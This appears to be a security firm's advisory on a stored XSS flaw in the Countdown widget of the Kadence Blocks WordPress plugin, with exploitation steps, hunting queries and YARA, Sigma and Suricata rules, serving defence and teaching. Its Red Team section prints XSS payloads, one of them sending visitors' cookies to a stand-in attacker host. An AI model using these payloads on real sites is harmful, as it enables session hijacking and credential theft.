CVE-2024-10785

Executive Summary

CVE-2024-10785 is a Stored Cross-Site Scripting (XSS) vulnerability in the Kadence Blocks – Gutenberg Blocks for Page Builder Features WordPress plugin, affecting all versions up to and including 3.3.3. The flaw resides in the 'Countdown' widget, where insufficient input sanitization and output escaping allow authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses the compromised page, enabling session hijacking, credential theft, or defacement. The vulnerability has a CVSS score of 6.4 (Medium), with an EPSS probability of 0.0% (low exploitation likelihood). No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The Kadence Blocks plugin is distributed via the official WordPress Plugin Directory and is installed on over 600,000 sites. As a WordPress plugin, it is not managed through NPM, PyPI, Go, or Ruby registries. However, site administrators should verify plugin integrity via checksums and monitor for updates from the vendor.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Base Score: 6.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires Contributor-level access
• User Interaction: None (UI:N)
• Scope: Changed (S:C) – impacts resources beyond the vulnerable component
• Confidentiality Impact: Low (C:L) – limited data exposure
• Integrity Impact: Low (I:L) – limited modification of content
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated users to inject persistent scripts that execute for all visitors elevates the risk, especially on multi-author sites.

Deep Dive & Mechanics

The vulnerability exists in the Countdown widget of the Kadence Blocks plugin. The plugin fails to properly sanitize user-supplied input and escape output when rendering the countdown timer. Specifically, the data-* attributes or inner HTML of the countdown element are not filtered, allowing an attacker to inject JavaScript event handlers (e.g., onerror, onload) or <script> tags.

Attack Flow:

1. An authenticated user with Contributor-level access creates or edits a post/page using the Kadence Blocks editor.
2. The attacker inserts a Countdown widget and injects malicious JavaScript into a field that is not sanitized (e.g., the "End Date" or "Label" field).
3. The plugin stores the payload in the WordPress database.
4. When any user (including administrators) views the page, the injected script executes in their browser context.

Root Cause: The plugin uses wp_kses_post() or similar functions that allow certain HTML tags but do not strip JavaScript event handlers. Additionally, output escaping functions like esc_html() are not applied to the countdown widget's dynamic attributes.

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.3.3):

// In kadence-blocks/includes/blocks/class-kadence-blocks-countdown-block.php
public function render_block( $attributes, $content ) {
    $end_date = $attributes['endDate'];
    // No sanitization or escaping
    $output = '<div class="kt-countdown" data-end="' . $end_date . '">';
    // ... rest of rendering
    return $output;
}

Patched Code (Hypothetical):

public function render_block( $attributes, $content ) {
    $end_date = sanitize_text_field( $attributes['endDate'] );
    $output = '<div class="kt-countdown" data-end="' . esc_attr( $end_date ) . '">';
    // ... rest of rendering
    return $output;
}

The patched version uses sanitize_text_field() to strip malicious content and esc_attr() to safely escape the attribute value.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with Kadence Blocks <= 3.3.3
• Authenticated user with Contributor role or higher
• Access to the Gutenberg editor

Exploitation Steps:

1. Log in as a Contributor.
2. Create a new post and add the Kadence Blocks Countdown widget.
3. In the "End Date" field, inject the following payload:

   " onfocus="alert(document.cookie)" autofocus="
   

4. Alternatively, use a <script> tag in a field that allows HTML:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Publish the post.
6. Any visitor to the post will trigger the XSS.

Lab Setup:

• Use a local WordPress instance (e.g., via Docker) with the vulnerable plugin.
• Install a debugging tool like Burp Suite to intercept and modify requests.
• Test with a simple alert() payload to confirm execution.

Blue Team

Detection:

• Monitor for posts containing suspicious JavaScript in custom fields or shortcodes.
• Look for unusual data-* attributes in HTML output.
• Check for Contributor-level users creating posts with Kadence Blocks widgets.

Hunting:

• Search the database for kt-countdown blocks with non-standard attributes.
• Use the following SQL query to find potentially malicious posts:

  SELECT ID, post_title, post_content FROM wp_posts WHERE post_content LIKE '%kt-countdown%' AND post_content LIKE '%<script%';
  

Indicators of Compromise (IOCs)

• File Indicators:

  • Modified wp-content/plugins/kadence-blocks/includes/blocks/class-kadence-blocks-countdown-block.php
  • Presence of kt-countdown divs with onfocus, onerror, or onload attributes

• Network Indicators:

  • Outbound connections to unknown domains from the WordPress server
  • HTTP requests containing kt-countdown and JavaScript payloads

• Log Indicators:

  • WordPress debug logs showing wp_kses_post bypass attempts
  • Web server logs with POST requests to /wp-admin/post.php containing suspicious data-end values

Detection Engineering

YARA Rule

rule CVE_2024_10785_Kadence_Blocks_XSS {
    meta:
        description = "Detects stored XSS payloads in Kadence Blocks Countdown widget"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "CVE-2024-10785"
    strings:
        $payload1 = /data-end\s*=\s*"[^"]*"/ ascii wide nocase
        $payload2 = /on\w+\s*=\s*"/ ascii wide nocase
        $payload3 = /<script[^>]*>/ ascii wide nocase
    condition:
        any of ($payload*) and #payload1 > 0
}

Sigma Rule

title: CVE-2024-10785 Kadence Blocks Stored XSS
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts via Kadence Blocks Countdown widget
author: Valters IT
date: 2025-04-17
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-admin/post.php'
        cs-uri-query:
            - '*action=edit*'
            - '*post_type=post*'
        cs-request-body:
            - '*kt-countdown*'
            - '*onfocus*'
            - '*onerror*'
            - '*<script>*'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts by administrators
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-10785 Kadence Blocks Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"kt-countdown"; http_client_body; pcre:"/(on\w+\s*=|<\s*script)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Kadence Blocks plugin until a patch is released.
2. Restrict Contributor-level access to only trusted users.
3. Implement a Web Application Firewall (WAF) rule to block XSS payloads in post content.

Long-term Fix:

• Apply the vendor patch when available (expected in version 3.3.4).
• Update the plugin to the latest version.
• Conduct a security audit of all custom blocks for similar vulnerabilities.

Workaround:

• Use a WordPress security plugin (e.g., Wordfence) to add input sanitization rules.
• Manually edit the vulnerable file to add sanitize_text_field() and esc_attr() as shown in the patched code section.

Valters IT
Securing Digital Frontiers